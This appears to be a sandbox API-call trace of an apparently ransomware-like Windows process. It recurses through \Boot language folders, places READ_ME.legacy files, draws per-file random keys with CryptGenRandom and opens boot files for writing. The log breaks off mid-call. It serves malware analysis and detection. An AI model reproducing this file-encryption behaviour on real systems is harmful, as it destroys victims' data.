[0109.357] SetLastError (dwErrCode=0x5) [0109.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0109.357] FindNextFileW (in: hFindFile=0x5a0468, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.357] GetLastError () returned 0x5 [0109.357] SetLastError (dwErrCode=0x5) [0109.357] GetLastError () returned 0x5 [0109.357] SetLastError (dwErrCode=0x5) [0109.357] GetLastError () returned 0x5 [0109.357] SetLastError (dwErrCode=0x5) [0109.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0109.358] FindNextFileW (in: hFindFile=0x5a0468, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c13b8 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1168 [0109.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c13b8 | out: pbBuffer=0x5c13b8) returned 1 [0109.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1168 | out: pbBuffer=0x5c1168) returned 1 [0109.358] SetFileAttributesW (lpFileName="\\Boot\\sr-Latn-CS\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0109.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0109.358] CreateFileW (lpFileName="\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0109.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0109.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c17d8 [0109.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c10e8 [0109.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c17d8 | out: pbBuffer=0x5c17d8) returned 1 [0109.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c10e8 | out: pbBuffer=0x5c10e8) returned 1 [0109.359] SetFileAttributesW (lpFileName="\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0109.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0109.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0109.359] CreateFileW (lpFileName="\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0109.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0109.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0109.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0109.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a28 | out: hHeap=0x520000) returned 1 [0109.359] FindFirstFileW (in: lpFileName="\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0768 [0109.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0109.360] GetLastError () returned 0x5 [0109.360] SetLastError (dwErrCode=0x5) [0109.360] GetLastError () returned 0x5 [0109.360] SetLastError (dwErrCode=0x5) [0109.360] GetLastError () returned 0x5 [0109.360] SetLastError (dwErrCode=0x5) [0109.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0109.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0109.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a01e8 [0109.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a01e8 | out: hHeap=0x520000) returned 1 [0109.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0109.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0109.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.360] FindNextFileW (in: hFindFile=0x5a0768, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0109.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0109.360] GetLastError () returned 0x5 [0109.360] SetLastError (dwErrCode=0x5) [0109.360] GetLastError () returned 0x5 [0109.361] SetLastError (dwErrCode=0x5) [0109.361] GetLastError () returned 0x5 [0109.361] SetLastError (dwErrCode=0x5) [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0109.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a01e8 [0109.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a01e8 | out: hHeap=0x520000) returned 1 [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0109.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0109.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.361] FindNextFileW (in: hFindFile=0x5a0768, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.361] GetLastError () returned 0x5 [0109.361] SetLastError (dwErrCode=0x5) [0109.361] GetLastError () returned 0x5 [0109.361] SetLastError (dwErrCode=0x5) [0109.361] GetLastError () returned 0x5 [0109.361] SetLastError (dwErrCode=0x5) [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0109.362] FindNextFileW (in: hFindFile=0x5a0768, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.362] GetLastError () returned 0x5 [0109.362] SetLastError (dwErrCode=0x5) [0109.362] GetLastError () returned 0x5 [0109.362] SetLastError (dwErrCode=0x5) [0109.362] GetLastError () returned 0x5 [0109.362] SetLastError (dwErrCode=0x5) [0109.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.362] FindNextFileW (in: hFindFile=0x5a0768, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0109.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2228 [0109.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1048 [0109.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2228 | out: pbBuffer=0x5c2228) returned 1 [0109.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1048 | out: pbBuffer=0x5c1048) returned 1 [0109.362] SetFileAttributesW (lpFileName="\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0109.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0109.363] CreateFileW (lpFileName="\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563cd0 | out: hHeap=0x520000) returned 1 [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ca8 | out: hHeap=0x520000) returned 1 [0109.363] FindFirstFileW (in: lpFileName="\\Boot\\sv-SE\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a01e8 [0109.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.363] GetLastError () returned 0x5 [0109.363] SetLastError (dwErrCode=0x5) [0109.363] GetLastError () returned 0x5 [0109.363] SetLastError (dwErrCode=0x5) [0109.363] GetLastError () returned 0x5 [0109.363] SetLastError (dwErrCode=0x5) [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0109.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0228 [0109.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0228 | out: hHeap=0x520000) returned 1 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0109.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0109.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0109.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.364] FindNextFileW (in: hFindFile=0x5a01e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.364] GetLastError () returned 0x5 [0109.364] SetLastError (dwErrCode=0x5) [0109.364] GetLastError () returned 0x5 [0109.364] SetLastError (dwErrCode=0x5) [0109.364] GetLastError () returned 0x5 [0109.364] SetLastError (dwErrCode=0x5) [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0109.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0228 [0109.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0228 | out: hHeap=0x520000) returned 1 [0109.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0109.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0109.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.365] FindNextFileW (in: hFindFile=0x5a01e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.365] GetLastError () returned 0x5 [0109.365] SetLastError (dwErrCode=0x5) [0109.365] GetLastError () returned 0x5 [0109.365] SetLastError (dwErrCode=0x5) [0109.365] GetLastError () returned 0x5 [0109.365] SetLastError (dwErrCode=0x5) [0109.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.365] FindNextFileW (in: hFindFile=0x5a01e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.365] GetLastError () returned 0x5 [0109.365] SetLastError (dwErrCode=0x5) [0109.365] GetLastError () returned 0x5 [0109.365] SetLastError (dwErrCode=0x5) [0109.366] GetLastError () returned 0x5 [0109.366] SetLastError (dwErrCode=0x5) [0109.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0109.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0109.366] FindNextFileW (in: hFindFile=0x5a01e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.366] GetLastError () returned 0x5 [0109.366] SetLastError (dwErrCode=0x5) [0109.366] GetLastError () returned 0x5 [0109.366] SetLastError (dwErrCode=0x5) [0109.366] GetLastError () returned 0x5 [0109.366] SetLastError (dwErrCode=0x5) [0109.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.366] FindNextFileW (in: hFindFile=0x5a01e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c18e0 [0109.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1128 [0109.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c18e0 | out: pbBuffer=0x5c18e0) returned 1 [0109.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1128 | out: pbBuffer=0x5c1128) returned 1 [0109.366] SetFileAttributesW (lpFileName="\\Boot\\sv-SE\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.367] CreateFileW (lpFileName="\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0109.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2648 [0109.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1068 [0109.367] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2648 | out: pbBuffer=0x5c2648) returned 1 [0109.367] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1068 | out: pbBuffer=0x5c1068) returned 1 [0109.367] SetFileAttributesW (lpFileName="\\Boot\\sv-SE\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.368] CreateFileW (lpFileName="\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 